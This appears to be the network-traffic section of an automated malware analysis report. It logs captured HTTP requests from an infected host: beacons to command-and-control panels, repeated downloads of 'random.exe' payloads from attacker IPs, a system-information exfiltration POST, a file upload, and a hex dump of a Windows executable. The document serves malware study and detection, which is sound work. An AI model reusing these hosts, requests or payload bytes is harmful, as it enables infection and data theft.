Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 22 Dec 2024 01:18:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019800001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019801001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019802001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019803001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019804001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019805001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /niCGMfnfOxUBXxpLhBBB1734796753 HTTP/1.1Host: home.fivetk5sb.topAccept: */*Content-Type: application/jsonContent-Length: 467287Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 36 36 35 38 38 33 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 2
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019806001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /niCGMfnfOxUBXxpLhBBB1734796753?argument=sqcim1nDAay1ts2z1734830229 HTTP/1.1Host: home.fivetk5sb.topAccept: */*
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019807001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019808001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5sb.topAccept: */*Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------3Hmb0Xz54igKmXytiHgVfoData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 48 6d 62 30 58 7a 35 34 69 67 4b 6d 58 79 74 69 48 67 56 66 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 68 69 63 6f 68 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0b b3 05 ba 73 48 ad 01 6e bb fb e0 d9 b6 f5 c5 cd 81 ac 5b c2 9a 4a b9 ee dc 78 7b 01 2e cc 4a 24 16 4c 34 7e c8 8f 31 c6 5d 5e 59 25 bc f3 54 8c 89 be a4 19 75 f5 f4 a7 2c f9 34 2b e1 e4 8e 8e 0e ce ee b6 6f 2a 23 0a e1 56 45 8a 16 7a ed 43 e0 5a 3b 48 81 26 05 d1 3c ff ff db 00 24 04 07 67 ad 5f 57 c7 1b bb 86 e3 4c 83 88 5f 60 09 fa 09 17 39 a3 e9 eb 4e 21 01 be 17 45 e9 0d 70 84 a2 12 7c f7 96 31 9f 5c 1d 19 bb 79 c0 a5 08 f3 29 6a aa d4 e8 d7 42 cf f7 ab a4 7e 69 34 d0 60 8c 14 21 af 98 eb 63 37 92 13 26 2a 81 10 05 ac 67 8b 8d 26 e4 4b c3 0f 06 2c a3 18 dc 15 8a 37 17 50 66 a8 c6 ab fc b8 60 ee d4 19 fc 06 78 10 04 81 9a 1d 38 21 78 dc 10 71 4a 11 b9 94 b8 c5 e4 49 c0 ab cb c2 16 72 99 c2 2a cd 41 9c 2d a0 8f 3f 8b 6a c1 2a 17 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 48 6d 62 30 58 7a 35 34 69 67 4b 6d 58 79 74 69 48 67 56 66 6f 2d 2d 0d 0a Data Ascii: --------------------------3Hmb0Xz54igKmXytiHgVfoContent-Disposition: form-data; name="file"; filename="Zahicoha.bin"Content-Type: application/octet-streamsHn[Jx{.J$L4~1]^Y%Tu,4+o*#VEzCZ;H&<$g_WL_`9N!Ep|1\y)jB~i4`!c7&*g&K,7Pf`x8!xqJIr*A-?j*--------------------------3Hmb0Xz54igKmXytiHgVfo--
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
